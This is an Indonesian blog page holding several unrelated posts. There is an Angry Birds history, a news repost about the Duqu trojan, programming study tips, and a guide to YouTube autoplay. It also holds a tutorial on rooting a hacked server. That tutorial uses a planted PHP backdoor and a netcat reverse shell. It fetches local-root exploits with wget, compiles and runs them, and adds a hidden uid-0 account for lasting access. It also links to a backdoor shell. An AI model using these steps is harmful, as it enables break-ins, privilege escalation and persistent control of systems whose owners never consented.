Ads 468x60px

.

Wednesday, April 18, 2012

Sejarah Angry Birds

Anda para gadget anthusiast pasti pernah mendengar game yang satu ini. Sebuah game mobile yang fenomenal karena pernah merajai beberapa pasar aplikasi digital (Apps Store) seperti Apple Apps Store dan Google Market. Tapi siapa sangka game ini dimulai hanya dari sebuah sketsa sederhana yang memperlihatkan karakter burung tanpa sayap dan kaki yang terlihat sedang marah
Pada Awalnya…
Tahun 2009, saat perusahaan pengembang game asal finlandia, Rovio Mobile, yang biasanya bekerja sama dengan electronic arts dan digital chocolate, berfikir untuk membuat game nya sendiri. Mulai lah rovio membuka kesempatan kepada setiap anggotanya di perusahaan itu untuk mengajukan proposalnya masing-masing. Dari sekian banyak proposal yang masuk ilustrasi screenshoot yang menampilkan burung tanpa sayap dan kaki yang sedang marah yang paling membuat penasaran tim pengembang rovio.
Ilustrasi ini dibuat oleh senior game designer, jaako lisalio. Akan tetapi ilustrasi ini berbeda dengan ilustrasi dari peserta yang lain. Ilustrasi ini tidak di disertai konsep gameplay. Tim khusus pun disiapkan untuk membuat gameplay siburung pemarah ini, berhubung saat itu sedang pandemic flu babi, maka karakter babi hijau tanpa kaki pun dijadikan musuh utama sang burung.
Game ini dilepas secara resmi pada tanggal 11 Disember 2009 untuk platform iOS. Dengan hanya menampilkan satu episode yaitu “poached Eggs” berisi 63 level yang dibagi kedalam 3 bagian. Akhirnya angry birds memuncaki daftar aplikasi yang paling banyak di unduh pada februari 2010.
MultiPlatform…







Seiring dengan kesuksesan angry birds di iOS, rovio pun tergiur untuk melebarkan sayapnya, dengan mengembangkan angry birds pada system operasi yang lain. Bulan mei 2010 akhirnya angry birds bisa mampir di OVI Store dan sudah siap diunduh untuk para pengguna Sistem Operasi Maemo 5 pada nokia N900. Ogos 2010 Apps catalog menyediakan Game ini untuk para gamers yang mempunyai ponsel Palm pre yang bersistem operasi Palm WebOS.
September dan Oktober si burung pemarah ini nangkring di Google Market, Ovi Store dan getjar demi melayani penggila game angry birds yang ponsel nya bersistem operasi Android dan Symbian ^3. Sementara itu Angry Birds sempat dibuat panas oleh raksasa system operasi Microsoft. Kerena pada Iklan Windows Phone7 icon Angry Birds sempat muncul, padahal pihak Rovio tidak pernah merasa bekerja sama dengan microsoft. January 2011 rovio mengumumkan telah melepas angry birds untuk game konsol PSP mini game dan dapat dimainkan pada PS3 . lalu di ikuti dengan kemunculan angry birds versi windows dan Mac OS. Xbox versi 360, WII serta Nintendo Ds adalah sasaran yang telah dibidik si burung pemarah.
Karakter…





Tak Kenal Maka Tak Cinta. Oleh karena nya alangkah lebih baik jika kita mengenal karakter apa saja yang ada di game angry birds ini.

1. Red Bird

Adalah karakter yang pertama ada dan menjadi mascot game ini. Burung berwana merah ini tidak memiliki kemampuan yang special.


2. Blue Bird  







Burung yang bisa membelah menjadi 3 ini memiliki ukuran yang mini, namun burung ini sangat efektif untuk menghancurkan kaca. (Aku suka kehebatan burung ni... :) )



3. Yellow bird

Burung yang memiliki kecepatan super ini pertama kali diperkenal pada episode 1-16 dalam episode poached eggs. Burung ini sangat efektif untuk menghancurkan kayu.

4. Black Bird


Burung ini bisa menjadi senjata yang sangat ampuh untuk menhancurkan tempat persembunyian si babi hijau. Karena burung hitam ini dapat meledak ketika bertabrakan dengan objek lain ataupun dibuat meledak secara manual.

5. White Bird

burung ini mulai muncul di episode 2-14 poached eggs. Dengan dipersenjatai kemampuan bom telur.

6. Boomerang bird

Yup benar! Seperti apa yang anda fikirkan, burung ini memang bisa berbalik arah seperti boomerang.


7. Big Brother Bird

Ini adalah Kakak nya si burung merah. Memiliki tubuh paling besar dan kekuatan yang lebih hebat.


8. Mighty Eagle

Ini adalah rajanya. Burung terkuat untuk game ini. Tapi anda harus membelinya di game angry bird untuk memilikinya. Setelah ada. Anda bisa melihat tombol mata yang diletakan disamping tombol pause saat permainan berlangsung.


9. The Pigs

Inilah musuh bebuyutan para burung pemarah. Khinzir2 ini juga datang dengan karakter yang berbeza, ada yang bengis, ada yang memakai helmet batu dan ada juga yang tampil sebagai ratu juga.

Saturday, April 7, 2012

Trojan Nuklir "Duqu" Diprogram dengan Bahasa Misterius

KOMPAS.com - Trojan Duqu yang berhasil mensabotase fasilitas nuklir milik Iran ditulis dalam bahasa pemrogaman yang tidak dikenal. Hal ini ditemukan oleh para ahli anti-malware Kaspersky Lab dalam sebuah penelitan.

Duqu merupakan trojan canggih yang diciptakan oleh orang yang sama yang membuat Stuxnet. Malware ini memiliki tujuan sebagai backdoor sebuah sistem dan memfasilitasi pencurian data rahasia.

Misteri terbesar Duqu Trojan yang belum terpecahkan adalah bagaimana program ini berkomunikasi dengan server Command and Control (C&C) saat berhasil menginfeksi korban.

Modul Duqu yang berperan untuk berinteraksi dengan C&C adalah bagian dari Payload DLL Duqu. Setelah analisis komprehensif atas Payload DLL, peneliti Kaspersky Lab menemukan ada bagian khusus di dalam Payload DLL, yang khusus berkomunikasi dengan C&C, ditulis dalam bahasa pemrograman yang tak dikenal.

Peneliti Kaspersky Lab menamakan bagian yang tak dikenal ini sebagai “Duqu Framework”.

Tidak seperti Duqu lainnya, Duqu Framework tidak ditulis dengan C++ dan tidak terkompilasi dengan Visual C++ 2008 milik Microsoft.

Kemungkinan pembuatnya menggunakan framework in-house untuk menghasilkan intermediary C code, atau menggunakan bahasa pemrograman yang sama sekali berbeda.

Namun, peneliti Kaspersky Lab telah menyatakan bahwa bahasa tersebut adalah object-oriented dan melakukan sejumlah kegiatan yang sesuai dengan aplikasi network.

Bahasa Framework Duqu sangat spesial dan memungkinkan Payload DLL untuk beroperasi secara independen dengan modul Duqu lainnya dan menghubungkannya dengan C&C melalui beberapa jalur seperti Windows HTTP, network sockets dan proxy server.

Ia juga memungkinkan Payload DLL memproses permintaan server HTTP langsung dari C&C, secara diam-diam memindahkan duplikat informasi yang dicuri dari perangkat yang terinfeksi ke C&C, bahkan bisa mendistribusikan payload berbahaya lain ke dalam perangkat lain dalam  jaringan, dan menciptakan bentuk terkontrol dan laten yang menyebarkan infeksi ke komputer lain.

“Melihat besarnya Duqu project, mungkin yang membuat framework Duqu adalah tim tersendiri yang berbeda dari grup yang menciptakan driver dan yang menulis sistem infeksi yang dieksploitasi,” ujar Alexander Gostev, Chief Security Expert Kaspersky Lab.

“Melihat tingginya tingkat kustomisasi dan ekslusivitas pada bahasa pemrograman yang diciptakan, sangat mungkin program ini diciptakan tidak hanya untuk mencegah pihak luar mengetahui operasi mata-mata cyber ini dan interaksinya dengan C&C, namun juga untuk membedakannya dari kelompok internal Duqu lainnya yang bertanggungjawab menulis bagian lain dari program ini.”

Menurut Alexander Gostev, pembuatan bahasa pemrograman tersendiri menunjukkan betapa tingginya kemampuan para pengembang program dalam mengerjakan proyek ini, dan menunjukkan kemampuan sumber daya keuangan dan SDM yang dimobilisasi untuk memastikan proyek ini berjalan.

Para ahli Kaspersky mencatat korban terbesar berada di Iran. Duqu umumnya mencari informasi mengenai sistem manajemen produksi di berbagai sektor industri, juga informasi mengenai hubungan dagang antara beberapa perusahaan di Iran.

Kaspersky Lab mengajak komunitas programer atau siapapun yang mengenali framework, toolkit atau bahasa pemrograman tak dikenal Duqu Trojan untuk menghubungi stopduqu@kaspersky.com.

Duqu ditemukan pertama kali pada September 2011. Namun menurut Kaspersky Lab, jejak Duqu sudah terlacak sejak Agustus 2007.



Sumber : kompas.com

Root Server & Tambah User Root Baru

Cara untuk ngeroot server & menambahkan user root baru, dikemudian hari bisa digunakan lebih jauh.
Hal yang dibutuhkan adalah
  • Komputer
  • Situs target yang sudah di inject “shell backdoor”
  • Tool-tool Localroot Exploit
  • Netcat

1 – Cari Informasi Detail Server Target

Buka shell php di website yang sebelumnya telah ter-hack & terpasang backdoor “shell php
Contoh: http://www.situstargetyangtelahdihack.com/path/dir/shell.php



Langkah selanjutnya adalah pastikan anda mengetahui kernel server yang dipakai, biasanya sudah ada informasinya di “shell backdoor” seperti contoh di atas yaitu:
Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686
Atau anda juga bisa menggunakan dan menjalankan perintah: uname -a
Dari informasi diatas kita ketahui bahwa kernelnya adalah:  2.6.18-8 i686
Nah, setelah mengetahui informasi kernel, maka langkah yang harus dilakukan adalah cari dan temukan “LocalRoot Exploit” tool yang cocok untuk kernel diatas. Sediakan localroot untuk kernel ini: 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.
Kita cari disini saja localroot exploitnya, kebetulan banyak listnya: localroot.th3-0utl4ws
download local root 


2 – BackConnecting Dari Server Ke Komputer Attacker

Seperti yang disampaikan sebelumnya, yang dibutuhkan dalam hal ini adalah:

  1. Netcat Tools (Harus sudah terinstall di komputer)
  2. Open port (Port-port yang secara otomatis terbuka)
Buka netcat dan jalankan perintah berikut, misal port yang akan digunakan adalah 443:
C:\WINDOWS\system32\cmd.exe – nc -l -n -v -p 443
Kemudian tekan “Enter
Nanti akan muncul pesan “Listening on [any] 443 …
Setelah itu, kita kembali ke “shell backkdor” yang sudah kita tanamkan.
Cari fungsi “Back Connect“, kemudian isikan IP yang kita miliki & port.
Misal: IP Kita: 10.10.10.10 dan port: 443, seperti gambar dibawah:


Kita jalankan perintah “Connect

 

3 – Download Exploit & Eksekusi Exploit

Kita akan membutuhkan localroot exploit, bisa di download dari link yang sudah disebutkan diatas, adapun beberapa cara yang bisa dilakukan yaitu
1) Menggunakan fungsi “WGET / CURL
2) Bisa menggunakan cara upload manual dari shell
Berhubung di server ini “WGET” bisa dilakukan, maka download localroot exploit memakai fungsi “WGET”.
Oke, copy saja download link “localroot exploit yang tepat:
Download Kumpulan Tools Localroot Dari Th3-0utl4ws
download local root
Untuk mendownload tools diatas ketikkan saja perintah: wget http://localroot.th3-0utl4ws.com/xploits/2.6.18-164.zip
Apabila sudah terdownload maka extract “local root tools” tersebut, bisa dengan menggunakan perintah “unzip” atau “untar” atau “tar

Seperti contoh diatas, “localroot exploit sudah terdownload” dan ter-extract:
unzip prct1.c.zip
Langkah selanjutnya adalah mengcompile localroot exploit tersebut, karena menggunakan bahasa “C”, maka yang digunakan adalah perintah GCC:
gcc prct1.c -o prc
Kemudian jalankan:
./prc
Catatan: Jika gagal dan muncul error, sebaiknya menggunakan tools “local root” exploit yang lainnya. (JANGAN MENYERAH!)
Yang di atas masih gagal, lakukan lagi & cari exploit lainnya!
Unzip lagi file localroot exploit yang lainnya: unzip 2.6.18-164.zip

Nah, localroot exploit diatas sangat cocok untuk kernel ini: (“2.6.18-164“)
Karena sudah berbentuk file yang sudah dicompile dan sudah bisa di eksekusi, langsung saja dieksekusi & jangan lupa change permissionnya jadi “777″, seperti contoh berikut:
chmod 777 2.6.18-164
Kemudian jalankan exploit:
./2.6.18-164
Untuk mengecek apakah kita sudah berhasil mendapatkan akses root, check dengan perintah berikut:
id
or
whoami

Jreng.. Jreng.. Jreng.. Anda sudah mendapatkan akses root, congrat!


4 – Menambahkan User Root Baru



Menambahkan user akses selevel dengan root sangatlah mudah, gunakan saja perintah berikut, sebagai contoh kita akan menambahkan akses root dengan user “Haxorfortutorial“:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M Haxorfortutorial
Penjelasan perintah:
Quote:
adduser – Perintah dasar linux untuk menambahkan user
-u 0 -o – set user menjadi dengan ID nol (0) root.
-g 0 – Set initial group dengan ID nol (0) root.
-G 0,1,2,3,4,6,10 – Set additional group ke:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel
-M – ‘home directory’ tidak di create ke user.
Haxorfortutorial - User name of the new user account.
Catatan: Rubah user Haxorfortutorial sesuai dengan username yang kalian inginkan, ini hanya contoh saja :)
Selanjutnya, lakukan set password untuk user yang telah kita buat.
Perintahnya:
passwd Haxorfortutorial
Contoh implementasi:
[root@fedora ~]# passwd Haxorfortutorial
Changing password for user Haxorfortutorial.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
id Haxorfortutorial

Backdoor GNY shell – http://privatepaste.com/1321f97984
Tools NetCat – http://downloadnetcat.com/nc11nt.zip
Demikian tutorial singkat cara ngeroot server dengan mudah, semoga selalu berhasil ngeroot! Selesai

 


 

20 Tips Sukses Belajar Pemrograman

20 Tips suksesnya adalah sebagai berikut:
  1. Modal awal untuk belajar pemrograman adalah Motivasi. Kalau motivasi untuk belajar motivasi besar, Selamat! Anda adalah calon seorang programmer handal. Fokus selanjutnya adalah mengasah skill untuk belajar pemrograman. Terus pertahankan motivasi yang telah dimiliki. Jangan sampai motivasi ini pupus ketika menemui kegagalan.
  2. Jangan mudah menyerah. Memang belajar pemrograman adalah tidak mudah. Butuh perjuangan, kerja keras, serta pengalaman (jam terbang). Jangan mudah menyerah ketika banyak error yang muncul ketika membuat program.
  3. Jangan sekali-kali menganggap pemrograman itu adalah sepenuhnya pelajaran ‘Menghapal’. Memang betul, menghapal juga diperlukan yaitu ketika menghapalkan sintaks dan aturan penulisan dalam program. Tapi secara prinsip, pemrograman adalah pelajaran cara berpikir dan logika bagaimana menyelesaikan masalah.
  4. Jangan hanya menjadi tukang ketik. Ketika dosen memberikan contoh program di kelas atau ketika praktikum, jangan hanya memandang setiap barisan kode program tersebut sebagai angin lalu dan hanya Anda pindahkan ke kertas atau komputer. Kalau hanya demikian, sama halnya dengan belajar menjadi tukang ketik. Coba pahami setiap baris kode dan alur program yang dituliskan guru atau dosen Anda. Kalau sudah paham, coba tulis program menurut versi sendiri ke buku atau komputer. Apabila hal ini dilakukan, maka secara tidak sadar telah melatih logika berpikir dan belajar menuangkan logika berpikir ke dalam bentuk program.
  5. Untuk mendukung pembelajaran, coba cari orang yang mau mengajari. Ketika menemui masalah dalam belajar pemrograman. Bisa teman dekat, teman di internet atau bahkan guru dan dosen atau siapapun yang dekat dan memahami hal yang ditanyakan.
  6. Jangan mengandalkan tatap muka di kelas. Materi pemrograman sangatlah luas. Apa yang diberikan dosen ketika kuliah itu sangatlah kecil cakupannya dibandingkan keseluruhan ilmu pemrograman. Cobalah eksplorasi sendiri segala hal tentang pemrograman. Ada banyak referensi di internet yang membahas tentang tips dan trik serta teknik dalam pemrograman.
  7. Carilah komunitas yang fokus dengan pemrograman. Di internet ada banyak forum diskusi via web atau mailing list yang membahas tentang pemrograman. Ingat bahwa orang yang sering bergaul dengan penjual minyak wangi maka dia akan ikut menjadi wangi. So, kita adopsi hal ini, banyak-banyaklah bergaul dengan orang dalam komunitas yang sama-sama interest dengan pemrograman.
  8. Sangat disarankan memiliki komputer sendiri di rumah atau di kost. Seperti yang telah saya jelaskan di atas bahwa untuk menguasai pemrograman butuh pengalaman dan jam terbang yang banyak dalam membuat progam. Kalau tidak memiliki komputer sendiri, bagaimana bisa menambah jam terbangnya? Untuk belajar pemrograman tidaklah harus membutuhkan komputer dengan spesifikasi tinggi. Cukup komputer Pentium III saja itu sudah bisa, kecuali belajar program yang memang butuh spesifikasi besar misalnya programan berbasis visual. Oya, jangan sekali-kali mengandalkan jam praktikum di laboratorium karena waktu penggunaannya sangat-sangat terbatas. Anggap saja ketika beli komputer adalah sebagai investasi jangka panjang. Yakinlah suatu saat modal untuk membeli komputer itu akan balik kembali, atau malah akan memberikan return of investment yang jauh lebih besar.
  9. Jangan hanya mengandalkan catatan atau modul yang diberikan oleh dosen. Isi modul yang ditulis oleh dosen itu rata-rata masih sedikit kontennya. Berusahalah mencari referensi sendiri terkait dengan pemrograman. Toh saat ini sudah banyak buku-buku yang mengulas tentang pemrograman. Kalau ingin yang gratis, coba cari referensi di internet karena tersedia banyak free ebook yang bisa didownload.
  10. Sebagai pemrogrammer harus selalu ingat kepada yang maha kuasa, agar jangan lupa tetap menunaikan ibadah. Knowledge come from The Creator, semakin dekat anda dengan Tuhan, semakin berguna & enjoy dalam melakukan pemrograman.
  11. Seorang programmer harus bisa mengatur (memprogram) diri nya – self programming. Dalam hal kepribadianya, contoh : kapan waktu makan, kapan waktu tidur, kapan waktu beribadah, dan kapan waktu untuk berkumpul dengan keluarga – tidak coding terus. memprogram waktu dengan baik.
  12. Seorang orang programmer harus bisa menjaga kesehatan. Karena logika tidak bisa berjalan tanpa logistik, jadi makanan pun harus diperhatikan, teratur dan bergizi dengan begitu otak kita bisa berfikir secara jernih dan cerdas.
  13. Jangan hanya fokus untuk menguntungkan diri sendiri. Programer seperti itu adalah programer yg egois. Karena suatu saat ia harus mengetahui bakat yg ia gunakan, haruslah berguna bagi orang lain.
  14. Layaknya seorang ilmuwan, programer juga harus terus mencari permasalahan dalam suatu program dan mencari pemecahan atas masalah tersebut.
  15. Mulailah belajar pemrograman dengan logika-logika dasar yang kuat. Seorang programmer harus selalu bisa mengatasi masalah dan memberikan solusi selama itu masih logic, kecuali yang magic-magic lupakan saja, contoh: memindahkan monas ke papua / memindahkan tamanmini ke dalam saku.
  16. Jangan takut untuk gagal. Setiap programmer pasti pernah mengalami kesulitan / bahkan mengalami kegagalan dalam menyelesaikan suatu project. Maybe, itulah jalan menuju kesuksesan. Yang secara tidak langsung tanpa Anda sadari.
  17. Luangkan waktu sejenak untuk me-refresh otak, pikiran dan tenaga. Tak jarang programmer yang stres, terlalu memaksakan sistem kerja otak tanpa istirahat yang rutin, dikarenakan dikejar deadline.
  18. Jangan takut untuk “copy paste”. Tidak diharuskan seorang programmer menulis coding manual. Disamping untuk mempersingkat waktu, disini seorang programmer di tuntut untuk mengembangkan kreatifitas. Banyak atau bahkan hampir setiap programmer menggunakan berbagai macam template.
  19. Jangan hanya asal copy paste. Rata-rata orang yang asal copy paste program itu tidak berusaha memahami program yang dia copy. Coba pahami dahulu program yang diperoleh terutama pada algoritmanya, kalau bisa tulis kembali program tersebut menurut versi Anda. Boleh sih copy paste, asal juga berusaha memahami makna program di dalamnya. Syukur-syukur kalau Anda memodifikasi kode programnya.
  20. Jangan lupa mengamalkannya. Karena ilmu tidak diamalkan bagaikan pohon tidak berbuah, berbagilah (ilmu tidak akan habis walau dibagi kepada seberapa banyak orang) bahkan dengan ilmu derajat kita akan terangkat.

Memasang musik di blog menjadi lagu background blog (autoplay youtube script)

Dengan menggunakan script youtube maka kita dapat menjadikan lagu yang telah diupload di youtube dipasang di blog menjadi musik background blog. Setiap blog /halaman blog dibuka oleh pengunjug maka secara otomatis lagu tersebut akan diputar oleh player media player. Jika dalam postingan sebelumnya pernah saya publish tentang lagu background blog (memanfaatkan hosting lagu gratisan , namun terkendala dengan bandwith yang sifatnya terbatas untuk free member. Kali ini akan coba saya bahas tentang video /lagu mp3 youtube yang akan dijadikan musik latar pengiring loading blog. keuntungan menggunakan youtube adalah tidak ada batasan pemakaian bandwith (unlimited bandwith).

Secara default lagu yang ada di youtube, jika di embed di blog maka  lagu/video youtube tersebut akan tampil  namun tidak autoplay. Dengan sedikit merubah embed script youtube tersebut maka video/lagu akan autoplay (berjalan otomatis saat blog dibuka oleh pengunjung). Buat teman-teman yang masih pemula jika ingin mencoba silahkan ikut prosedur berikut :

1. Saya anggap anda sudah upload lagu/video di youtube , jika belum punya lagu di situs youtube bisa gunakan lagu yang orang lain unggah di youtube, atau anda unggah sendiri , jika belum tahu cara menggunggah video/lagu di youtube bisa lihat panduannya disini unggah video youtube
2. Buka video/lagu youtube , dalam contoh ini saya menggunakan video youtube berikut windows movie maker
3. Klik tombol play untuk memnonton video, selanjutnya klik kanan di player youtube area
Pilih Copy embed html

Paste source code video youtube tersebut di notepad atau wordpad
Contoh scriptnya seperti di bawah ini




<object style="height: 290px; width: 240px"><param name="movie" value="http://www.youtube.com/v/JwWpjHrn5hc?version=3&feature=player_detailpage" /><param name="allowFullScreen" value="false" /><param name="allowScriptAccess" value="always" /><embed src="http://www.youtube.com/v/JwWpjHrn5hc?version=3&feature=player_detailpage" type="application/x-shockwave-flash" allowfullscreen="false" allowscriptaccess="always" width="240" height="260"></embed></object>




Tambahkan kode &autoplay=1 di akhir url video dan url player.
Script code hasil modifikasi agar video berjalan otomatis saat loading blog  bisa dilihat di bawah ini :


<object style="height: 290px; width: 240px"><param name="movie" value="http://www.youtube.com/v/JwWpjHrn5hc?version=3&feature=player_detailpage &autoplay=1" /><param name="allowFullScreen" value="false" /><param name="allowScriptAccess" value="always" /><embed src="http://www.youtube.com/v/JwWpjHrn5hc?version=3&feature=player_detailpage &autoplay=1" type="application/x-shockwave-flash" allowfullscreen="false" allowscriptaccess="always" width="240" height="260"></embed></object>




Catatan
Untuk mengubah ukuran lebar dan tinggi player youtube agar sesuai dengan ukuran sidebar blog, ubah angka 240 dan 290


Login ke Dashboard Blogspot
Di bagian Design pilih Add a Gadget

Pilih widget HTML/Javascript





Masukkan kode youtube hasil modifikasi ke dalam gadget html/javascript.